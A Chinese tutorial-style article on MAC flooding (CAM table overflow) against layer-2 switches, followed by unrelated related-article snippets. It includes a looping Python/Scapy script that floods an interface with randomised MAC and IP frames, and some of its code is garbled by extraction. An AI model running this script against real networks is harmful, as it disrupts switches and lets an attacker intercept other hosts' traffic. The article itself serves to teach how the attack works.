数据链路层DoS

 

 

91245220ba3245c3ae57931ba3ee98eb.png

图9-14    集线器应用原理

数据链路层中拒绝服务攻击的方式一般很少为人所熟知。数据链路层拒绝服 务攻击的主要目标为二层交换机。在早期网络中,通常都会使用集线器作为中间 处理设备。集线器属于纯硬件网络底层设备,没有任何“ 智能记忆” 能力和“学

习” 能力,也不具备交换机所具有的MAC地址表,所以集线器发送数据时都是没 有针对性的,而是采用广播的方式发送。也就是说当集线器要向某节点发送数据 时,不是直接把数据发送到目的节点,而是把数据包发送到与集线器相连的所有 节点,如图9-14所示。

当计算机1想要和计算机2通信时,首先计算机1将数据包发给集线器,由集  线器负责转发,但是当集线器不清楚哪个接口连接到了计算机2时,便会用广播  的方式向其他计算机发送数据包,此时如果网络中计算机设置为混杂模式,同样 也会接收到计算机2发送的数据。

 

 

 

 

 

交换机相比集线器而言,增加了“ 智能记忆” 能力和“学习” 能力,这两个功能  主要是通过交换机中的CAM表来实现的,这张表中保存了交换机中的每个接口所 连接计算机的MAC地址。

025c492600674409bd065b7d4ccf9307.png

图9-15    交换机应用原理

在应用交换机的局域网环境中,如图9-15所示,计算机1想要和计算机3通

信,会先将数据包发送到交换机上,由交换机提取接收到数据包的MAC地址,并 查询CAM表。如果在CAM表中检索到了对应的MAC地址信息,就将数据包发送  到查询到的MAC地址所对应的接口。如果没有查询到,再将数据包发往所有接口 相连接的主机。交换机的这项功能保证了局域网中交换机发送的数据包是以单播 形式传送的。但是CAM表是有一定限制的,在短时间内收到大量不同的源MAC    地址数据包时,CAM可能因为瞬间无法处理而溢出。溢出之后再次接收到的数据 包就会覆盖前面的条目,导致正常的数据包无法找到正确的对应关系,只能将数 据包广播出去,路由器的“ 智能记忆” 能力和“学习” 能力失效。此时攻击者只需要  在自己的计算机上将网卡设置为混杂模式,就能监听整个网络的数据。

综上所述,数据链路层的拒绝服务攻击其实就是通过伪造请求主机的MAC地 址信息,使得交换机内部CAM短时间填满,失去交换机本身的记忆功能,退化成

 

 

 

 

 

集线器,当接收到正常数据包时,会将全部数据以广播的形式发送出去,此时若 攻击者将自己的主机设置为混杂模式,就可以监听网络中的其他主机接收的数据 了。下面通过Python脚本分析这一功能。

1)构造随机的MAC地址和IP ,此处主要是利用Scapy自带的库函数 RandMAC() 和RandIP() ,如下代码是生成随机的MAC地址:

 

from scapy .all import *

import time

while(1) :

packet=Ether(src=RandMAC(),dst=RandMAC())

time .sleep(1)

print(packet.summary())

执行结果如下所示:

299eab29939c40e28b8bc702b70d51bc.png

2)当路由器接收到包含随机生成的IP地址和MAC地址的数据包时,交换机 查询CAM ,若不存在该信息,就会不断进行记录。短时间内,大量请求会导致 CAM被填满,失去交换机原有的功能。下面以ICMP数据包为例:

 

from scapy .all import *

import optparse

def attack(interface) :

pkt=Ether(src=RandMAC(),dst=RandMAC())/IP(src=Rand IP(),dst=Rand IP())/ ICMP()

sendp(pkt,iface=interface)

def main() :

parser=optparse .OptionParser("%prog "+"-i interface")

parser .add_option( '-i ',dest= 'interface ',default= 'eth0 ',type= 'string ', help= 'Interface ')

(options,args)=parser .parse_args()

interface=options .interface

 

 

 

 

 

try:

while True:

attack(interface)

except Keyboard Interrupt :

print( '------------- ')

print( 'Finished! ')

if __name__== '__main__ ' :

main()

执行结果如下所示:

ba3cd5a80e58439e84afed92e16adbbc.png

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/673452.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Airtest实现在手机界面快速批量采集数据

Airtest实现在手机界面快速批量采集数据 一、问题 Airtest使用的poco方法比较慢,寻找差不多一周,看完这篇文章能节省一周时间,希望帮到大家。二、解决思路 使用Airtest图像识别,这样就会速度上提升效率。 三、解决办法 使用页面规律,要找到每条数据的附近规律(一般是图…

发廊理发店微信小程序展示下单前端静态模板源码

模板描述:剪发小程序前端源码,一共五个页面,包括店铺、理发师、订单、我的等页面 注:该源码是前端静态模板源码,没有后台和API接口

PCIE和USB 耦合电容放置位置记录- 一般放置在TX端

PCIE耦合电容位置 以下为引用内容,为记录而做的本篇文章: 1、PCIe标准里面明确规定:当两个设备通过连接器互联时,必须放置交流耦合电容到TX端; 2、放远放近最大的不同时高速信号传输中的介质损耗和趋肤效应不同&#…

【Git】08 多人单分支协作场景

文章目录 一、场景1:不同人修改不同文件1.1 场景描述1.2 场景复现1.2.1 克隆到本地1.2.2 新建分支1.2.3 B修改、提交与推送1.2.4 A修改与提交1.2.5 B再次修改并推送1.2.6 A推送报错 1.3 解决 二、场景2:不同人修改同文件的不同区域2.1 场景描述2.2 场景复…

计算机网络概念、组成、功能和分类

文章目录 概要1.怎么学习计算机网络2.概念3.功能、组成4.工作方式、功能组成5.分类 概要 概念、组成、功能和分类 1.怎么学习计算机网络 2.概念 通信设备:比如路由器、路由器 线路:将系统和通信设备两者联系的介质之类的 计算机网络是互连的、自治的的计…

如何设计一个预约抢购活动

总体架构设计 互联网大量数据的存储设计 1)哈希算法,对商品ID进行分片 节点取模的形式,优点是均匀分布,缺点是扩展性不好。所以,我们可以采用一致性hash。 一致性HASH的优点: 解决单一热点问题&#xf…

3060ti显卡+cuda12.1+win10编译安装生成fastdeploy的c++与python库

在cuda12中,调用官方发布的fastdeploy会出现报错,故此自行编译fastdeploy库。 官网编译教程:https://github.com/PaddlePaddle/FastDeploy/blob/develop/docs/cn/build_and_install/gpu.md 可选编译选项 编译选项 无论是在何平台编译,编译时仅根据需求修改如下选项,勿…

分布式springboot 3项目集成mybatis官方生成器开发记录

文章目录 说明实现思路实现步骤第一步:创建generator子模块第二步:引入相关maven插件和依赖第三步:编写生成器配置文件第四步:运行查看结果 说明 该文章为作者开发学习记录,方便以后复习和交流主要内容为:…

MGIE官网体验入口 苹果多模态大语言模型AI图像编辑工具在线使用地址

MGIE是一项由苹果开源的技术,利用多模态大型语言模型(MLLMs)生成图像编辑指令,通过端到端训练,捕捉视觉想象力并执行图像处理操作,使图像编辑更加智能、直观。 MGIE官网体验入口https://github.com/apple/M…

Mybatis- plus 基本使用

目录 一. 引入依赖 二.定义Mapper 三.常见注解 3.1TableName 3.2.TableId 3.3TableField 3.4常见配置 一. 引入依赖 由于这个starter包含对mybatis的自动装配&#xff0c;因此完全可以替换掉Mybatis的starter。 <dependency><groupId>com.baomidou</gr…

Python: pip install -e

pip install -e . 该命令会执行当前目录下的setup.py文件,将当前项目以editable mode安装&#xff1b; # pip 文档 https://pip.pypa.io/en/stable/cli/pip_install/ # Editable Install vs. Regular Install https://pip.pypa.io/en/stable/topics/local-project-install…

c++设计模式之代理模式

作用 代理模式主要用于&#xff0c;通过代理类&#xff0c;来控制实际对象的访问权限 案例 class VideoSite { public:virtual void freeVideo()0;virtual void vipVideo()0;virtual void trickVideo()0; };class FixBugVideoSite:public VideoSite { public:void freeVideo()…

【RT-DETR有效改进】计算训练好权重文件对应的FPS、推理每张图片的平均时间(科研必备)

👑欢迎大家订阅本专栏,一起学习RT-DETR👑 一、本文介绍 本文给大家带来的改进机制是利用我们训练好的权重文件计算FPS,同时打印每张图片所利用的平均时间,模型大小(以MB为单位),同时支持batch_size功能的选择,对于轻量化模型的读者来说,本文的内容对你一定有…

Unity引擎学习笔记之【动画层操作】

动画层Animation Layer 一、动画器的三个基本状态 1. Any State&#xff08;任意状态&#xff09; “Any State”&#xff08;任意状态&#xff09;&#xff1a;这个状态可以用来连接多个状态机的任意状态转换。在动画控制器中&#xff0c;你可以使用“Any State”作为过渡条…

Python基础语法(内置Python, pycharm配置方式)

一.工具安装与配置 1.Python解释器的安装 官网网址:https://www.python.org/ 选择downloads即可(Windows用户点击Windows, 苹果用户点击macOS) 找到最新版本, 并选择 Download Windows installer (64-bit) 下载完成后可在得到一个安装包进行安装(安装时间较长) 安装完成后…

NLP_“预训练+微调大模型”模式和Prompt/Instruct模式的异同

文章目录 “预训练微调大模型”的模式以提示/指令模式直接使用大模型“预训练微调大模型”模式和Prompt/Instruct模式的异同小结 “预训练微调大模型”的模式 经过预训练的大模型所习得的语义信息和所蕴含的语言知识&#xff0c;很容易向下游任务迁移。NLP应用人员可以根据自己…

Java中处理I/O操作的不同方式:BIO,NIO,AIO

Java中处理I/O操作的不同方式&#xff1a;BIO&#xff0c;NIO&#xff0c;AIO 亲爱的朋友&#xff0c; 在这美好的时刻&#xff0c;愿你感受到生活的温暖和欢乐。愿你的每一天都充满着笑容和满足&#xff0c;无论面对什么挑战都能勇往直前&#xff0c;化解困境。 希望你的心中充…

初识C语言·预处理详解

目录 1 预定义符号 2 define定义常量 3 #define定义宏 4 带有副作用的宏 5 宏替换的规则 6 宏和函数的对比 7 # 和 ## i) #运算符 ii) ##运算符 8 命名约定 9 命令行定义 10 条件编译 条件编译1&#xff1a; 条件编译2&#xff1a; 条件编译3&#xff1a; 条件…

昆仑万维发布天工 2.0 大语言模型及AI助手App;AI成功破解2000年前碳化古卷轴

&#x1f989; AI新闻 &#x1f680; 昆仑万维发布天工 2.0 大语言模型及AI助手App 摘要&#xff1a;昆仑万维近日推出了新版MoE大语言模型“天工 2.0”和相应的“天工 AI 智能助手”App&#xff0c;宣称为国内首个面向C端用户免费的基于MoE架构的千亿级参数大模型应用。天工…

UE4 C++创建摄像机摇臂和相机并且设置Transform

新建MyPawn C类 .h #include "GameFramework/SpringArmComponent.h" //SpringArm组件 #include "Camera/CameraComponent.h" //Camera组件class 工程名称_API AMyPawn : public APawn { //定义组件变量 public:UPROPERTY(VisibleAnywhere, BlueprintRead…